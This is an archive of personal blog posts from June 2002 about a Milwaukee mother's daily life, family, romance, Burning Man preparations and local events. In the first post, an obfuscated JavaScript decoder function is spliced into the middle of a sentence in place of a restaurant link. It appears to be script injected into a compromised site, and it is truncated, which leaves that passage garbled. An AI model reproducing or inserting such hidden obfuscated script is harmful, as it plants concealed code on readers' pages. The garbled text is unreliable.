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June 26, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I’m proud of my self, finally I’ve decided to break out of my sheep-mentality and put my foot down. I went to one of my favorite campus lunch locations: Noodles. I decided to be bold and adventurous and explore the new menu item: Pad Thai. Now, having taken several trips and dined on some excellent pad thai (at Thairish) and recently sampling some local pud thai (at function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandirestaurant.com/”>The King and I), I was not happy with the bowl of tough noodles and too-sweet sauce sitting before me. However, normally I would have sat quietly, eaten what I could and not have said a word. Mainly because I am too shy to speak up and request something different. I don’t want to be a pest or an annoyance to anyone. However, I decided, that in these frugal times, I was not gonna settle on a $5 prissy rendering of something semi-thai. So, I walked up to the counter, politetly stated my complaint, and soon had a wonderful bowl of mac and cheese in front of me. Now, that wasn’t so hard.
At work, it feels like I’m doing keyboard exercize. Pretty soon I am going to have one buff pinky due to the recent addition. What a wonderful reminder of why I’ve suddenly put everything in my life into rows and columns and started seriously looking at a short-term savings equation to pay for a moving truck rental along with other things. So much for the desert, I’ve got something far more rewarding in mind.

June 24, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I’m happy, ultra-happy, downright gonna-fly-out-the-window happy! Why am I so happy? Because I’m so wonderfully and head-over-heels in love with Mister Rob “Vees” Carlson. Life is great. The world is beautiful. And I am H-A-P-P-Y. Just wanted to share.

June 18, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

This has been a day full of unwanted surprises. First off, I woke up (again at 7:30am) to the sound of my phone ringing. “Hey hon,” I mutter into the phone. Unfortunately, the person on the other end of the phone was not my wonderful boyfriend; instead it was a slightly frustrated mother calling to let me know that she would take Alex to camp. Good, I thought, another half hour of sleep. Then I realized that I would have to deliver Alex’s lunch and swimsuit to my mom and all plans of additional sleep were cancelled. I eventually got out of bed, only to be hounded again by my mom who was wondering where I was. Found my second surprise for the day, my mom no longer wants to take Alex to Vacation Bible School. I guess my angel’s cranky late-night and early-morning attitude got to her, as it did me, and made her realize it isn’t worth the hassle.
I get to my mom’s house and find a saint sitting in front of the television (obviously trying to “make up” for the morning conflict). I then realize I’ve forgotten my checkbook and can’t find my mini-purse holding my bankcard. Crap, will have to go home again so that I can buy that Logic book. Mom comes to the rescue, throws money at me, and pushes us both out the door with a “see you in a few days” farewell. Don’t know what’s up with that. Alex gets to camp late; I’m half frazzled but quickly recovering.
I decide to skip the Capitol Drive exit, and head down to Locust Ave. Within minutes I’m walking into Fuel Cafe. I’m ready for a good glass of chai. But what do I find, an altered menu that makes me wonder if they are still selling chai. The cute clerk told me they have a new brand of chai and that I should let her know what I think. I was a little weary, but took my glass and a local artists newspaper to a window seat and relaxed.
I found out that Micro.(dot)Bar is gone (and has been gone for a month). Now where will BobbyG and I go hang out? And, on top of that, the Riverwest Co-op is closed after being open for barely a year. After taking in that information, I take a sip of the glass of chai sitting next to me. And, to add to my dissappointment, the chai is now just as generic and unpleasant as several of the other coffee shops in Milwaukee.
So my favorite bar, a great co-op idea, and the best chai in Milwaukee are gone. Guess that will just quicken my pace to Baltimore. Wait, the Riverwest Co-op isn’t closed. Just called them to follow up and my faith in Milwaukee is restored. Now, I need to re-read that newspaper article and see if I need to send in a letter pointing out their error or if I just need to read better.
On the way back from the bookstore, I was stopped by two young ladies inviting me to a one-on-one bible study. Now, I normally brush these people off and keep walking. But this time I couldn’t because one of the girls was so cute. I think I finally understand why guys get dressed up in tux’s, attend ballet recitals, and go shopping with their girlfriends: it’s hard to say no to a gal that looks that good. So, while she was giving me all the details about when and where, I was evaluating my chances of hooking up with her. Then I realized that a proselytizing chick might not be the best match for a bi-pagan-burner-gal. Oh well, I got her number anyways.

June 16, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

Saturday started with a rush to fix breakfast and get an overnight bag packed for my one-night trip to Chicago. It should be easy to pack for a one night stay in a town only 1.5 hours away. Of course, by the time I had gathers up my garter belt, glitter bottles, body paints, thigh highs, corest, and other doecorative accessories, I was already an hour behind schedule.
I hurried to the bank and to the SunCom store to finally get my cell phone service turned on. The current store employee pointed out friday night’s clerk incompetency in helping me get my service on. Since it was after the fact, I didn’t care too much. However, after being assured that my service would be restored in 20 minutes, I found out that the Saturday employee was just as incompetent as the Friday one. I then placed a call to the 800-number (the only number I can call when service is turned off) to fix the problem and ran into the thrid incompetent employee. Again, after being assured my service would be on and waiting for a little while (my patience was gone and ability to wait was also gone). I contact SunCom again. I apologized immediatly to the gal who answered the phone: “I know this is not your fault, but at this point I’m mad that my service is not on.” She assured me over and over again that my service would be on and I made it very clear that I did not want to have to call back yet again. Viola, my phone was finally on and I could call my love.
I headed down to Chicago and it was it’s normally pain-in-the-rubber-necking-self. But I’ve come to accept it. I made it to Nymph’s house and with the hour we were shopping on < ahref="http://etwisted.com/index.html">Belmount. This street has all your freak fashion needs. We spent a long time at the Alley and Nymph made out with several items. After that we headed to Hot Threads and I fell in love with a fire outfit. If there is anyone out there who would love to see me in, I’m accepting donations so that I can purchase it in the near future. We hit Ragstock where I found the rest of my outfit for the night. And soon it was time for a good Thai dinner and then a rush to get dress.
Redno5 was the same trixie bar that it was last time Rob and I went. But, we had a good showing of freaks and got plenty of attention (even a little more than I wanted in one instance). Danced a ton and then a little more. Had a great time. Avoided the 5 dollar drinks (by convientely forgetting my cash) and came home sober.
Woke up a little after 9am, watched Moulin Rouge for the second time. Liked it better this time because I focused solely on the costumes. Decided to head out for lunch at 1am, Nymph was just waking up. Talked Magorn into lettuce wraps, but we decided on Thai once I got to his place. I took his suggestion on a dish, hated it cause it was sweet, and we headed off to an indian restraunt instead. So, now I owe Magon a meal or two for being a good enough sport to buy two lunches just to humor my picky taste buds. I got lost on the way home, stopped in an Indian neighborhodd to go shopping. Ended up buying a Sari and plan to wear it this weekend assuming I can remember how to tie it and find an undershift to go with it (one in store was too small and I didn’t want to wait 2 hours for them to make me one). So, I hadn’t planned on buying one, but it was a good deal on the fabric. I think that I will go to the store with my 50% off cupon and see if there is any other fabric that would make a good sari. Mainly cause I want to wear them at Black Rock City.
When I finally headed home, I got even more lost and ended up take 4 hours to get home instead of 1.5 hours. But at least I got to enjoy some beautiful driving weather and had time to think about my thoughts. It’s about time to pick Alex up from Vacation Bible School and I want to talk to my love before he goes to sleep, so I’ll spell check this in the morning. Good to be back in Milwaukee, the city I love.

June 12, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I swore to myself that I wouldn’t be here. That promise turned out to be just like the one I say every night: “I promise I will get up on time tomorrow.” Guess I shouldn’t be surprised that it turned out this way. I haven’t been able to post much this week and it is driving me nuts.

Saturday and Sunday was a work weekend for Synchroni-City. This place is Burn Luxury. I mean, were talking a hot tub, tipi, fancy toilets, dpw central, kitchen, sleeping quarters, and sweat lodge. This place is far too nice for a burn, what elements are you being forced to endure? “Oh please don’t make me get in that sore-muscle-soothing hot tub.” But, I hear that a lot of the places won’t be available during the event, which is a good thing. We really wouldn’t want people getting all spoiled. Cause then what would happen in August?

Learned a few new things today. First one was a clear reminder that I should not eat and drive. For some reason I just can coordinate the chicken fingers, balance the honey-mustard sauce, and shift. Second, if you are in a really big hurry and hoping against hope that something is in the mail, you will not be able to find your keys and your wonderful daughter will not be home to help you find them (since she is the one who used them last). Third, if you don’t start counting too early, time will fly by and soon the love of your life will be pulling you closer for a hug.

Oh, one more thing. Here are some fire spinning photos from the Wisconsin Winter Burn. I was going through directories at home and found them hiding in an obscure folder. Mostly of Mike Averil and Jack Chocolate.

June 7, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I miss it every year, Pride Fest. It is taking place this weekend at the Summerfest Grounds and kicking of the Summer of Festivals for Milwaukee. So, I guess that I will just have to fly my rainbow flag as high as possible while I’m out get additional ranger training (more? are you serious?) and helping the DPW God fix up the Synchroni-City site.
Summerfest is just weeks away. And I haven’t even checked out the line up yet. Shame on me. There are prolly some bands playing that I would like to see. Of course, it overlaps with the Solstice party and Synchroni-City and that might cause a few problems. But hopefully I’ll make it out for one night at least. Maybe I can take this wonderful fellar after his flight. Then I can give him a real taste of Milwaukee culture. Hell, almost every good citizen spends their nights and weekends of beer guzzling throughout the year as training for Summerfest.

June 6, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

The sun has finally decided to rejoin the Milwaukee skyline. It isn’t hot but it is moving closer to being warm. After hearing complaints about the heat, I pretty happy to be in Wisconsin. Actually, in addition to snow, I love Wisconsin’s summers because it doesn’t get hot and muggy like Oklahoma always did. I don’t have to wonder when the thermometer will drop below 100 degrees anymore. And, I can head outside for all the fun activities that this city has planned.
Rainbow Summer has started again. This season long festival fills the downtown streets with music and theater performances.
Milwaukee County Parks also have a ton to offer during the summer as well. There are nature classes and Cool Waters aquatic park to entertain everyone. And when you get tired of the city stuff, head into the suburbs where I live and you will find even more. One of the more recent issues of Milwaukee Magazine included an excellent article on local places to cool off. Milwaukee’s Metro Parent magazine featured several local events and suggested some fun places to visit around the state for parents with the traveling bug.
So, now that they rain is gone and I passed my first logic test, I’m ready to see where and when I should go to some of these wonderful places and events. I sure love this city.

June 5, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

It looks like I will have the chance to update my webpage regularly again. Of course, that means I will need to get a more interesting life if I’m going to have anything to write about. Right now everything is rather bland. But, I’ll try to make it sound snazzy.
I’m going camping at Dancing Shadows this weekend. It is a work weekend for Synchroni-City, which will be happening July 4th, 5th, 6th, and 7th. Some really cool burners I know will be showing up at the burn, along with the local ones too. However, this weekend will focus on site prep and ranger training. Hopefully it is warmer than the BRC ranger training.
The following weekend has some more wonderful things in store. I can’t remember them off hand, but I know they are happening. And then after that, there will be another Solstice Party in Waupaca, WI. The party is the evening social hour for those wayward pagans that head over to Renewable Energy and Sustainable Living Fair. I missed the fair last time, but hopefully I will get a chance to check it out this year. Oh, and one of the best things about the whole weekend is that I managed to finally get my love back in Wisconsin. Woohoo!
As for family life: Alex just started Day Camp today. She is happy to finally be back in a normal program, I may be cool, but I’m not _that_ cool. Tonight we’re going to a meeting about the soccer league that starts next Wednesday. She is also happy about that. Finally, I can start collecting positive mom points again. And there is a good chance (if my check shows up) that she will also start swimming lessons again later this summer. Life is good.

June 4, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

It’s damp and dreary again today. I’m supposed to be at work, but I’m still having problems securing childcare. It’s getting frustrating. Stopped in at the finaid office and learned that I can expect my check no sooner than Saturday and not likely until later next week. This means the test I have tomorrow will be a total shot in the dark since I don’t have seventy-five dollars on hand to buy the book. I now have to call my landlord (from a payphone) and hope she understands why rent will be a week or two late. Add into everything, the worry about whether or not my electircity will be shut off and the upsetting realization that I will have no phone or internet at home for at least two more weeks. Top everything off with the disappointing realization that even though I’ll do everything, anything at times, I can to get/do something I want, other people quickly settle for excuses to not do the same. I guess I can’t fault someone for not being as irresponsible as I am, but still puts a kink in my personal view. The weather had it right, blah.

June 2, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I like happy people. Just seeing a person with a smile on their lips makes me smile. And a smile can be contagious. If you walk around grinning like a fool, someone is surly gonna catch that grin and do the same. Before long people are smiling: with beer, with a dome on their head, while cooking, about explosives, while swinging, with an artichoke, and while camping.

Soon everyone is just smiling.

June 1, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

The greatest moment from our time together you won’t remember. The time I cherish the most you can’t recall. An exchange so simple in perfection and humbled with affection. Night and exhaustion had overtaken you and you retreated into sleep. After I mingled a little longer, after I played a little more, I surrendered to the night and cuddled up next to you. There you were, sleeping so peacefully, I could only image what was in your dreams. I watched sleep dance on your eyelids and grazed my fingers over your cheek. You responded with the sweetest smile of happiness, the softest grin of pleasure that I’ve ever seen. All the love and joy I’ve ever known was written on your lips. I couldn’t resist the urge to tell you about the happiness you bring to me. I couldn’t stop my lips from softly seeking yours. Lost there in time, with a smile so pure, will always be my favorite moment with you.

Dropped off my angel and took a drive. Found a road called Covered Bridge Road. I figured that I would find something interesting if I followed it. And, I was in luck. Nestled away from the middle of nowhere was a quaint little park with the Last Covered Bridge built by the city of Cedarburg. Interestingly enough, it was built with pine logs fitted, and set in place in lattice truss construction with 3 x 10 inch planks secured with by 2 inch hardwood pins, eliminating the use of nails or bolts, and floord by 3 inch planking (incase you couldn’t read the sign). I liked the covered bridge but found the sister bridge to be more photogenic.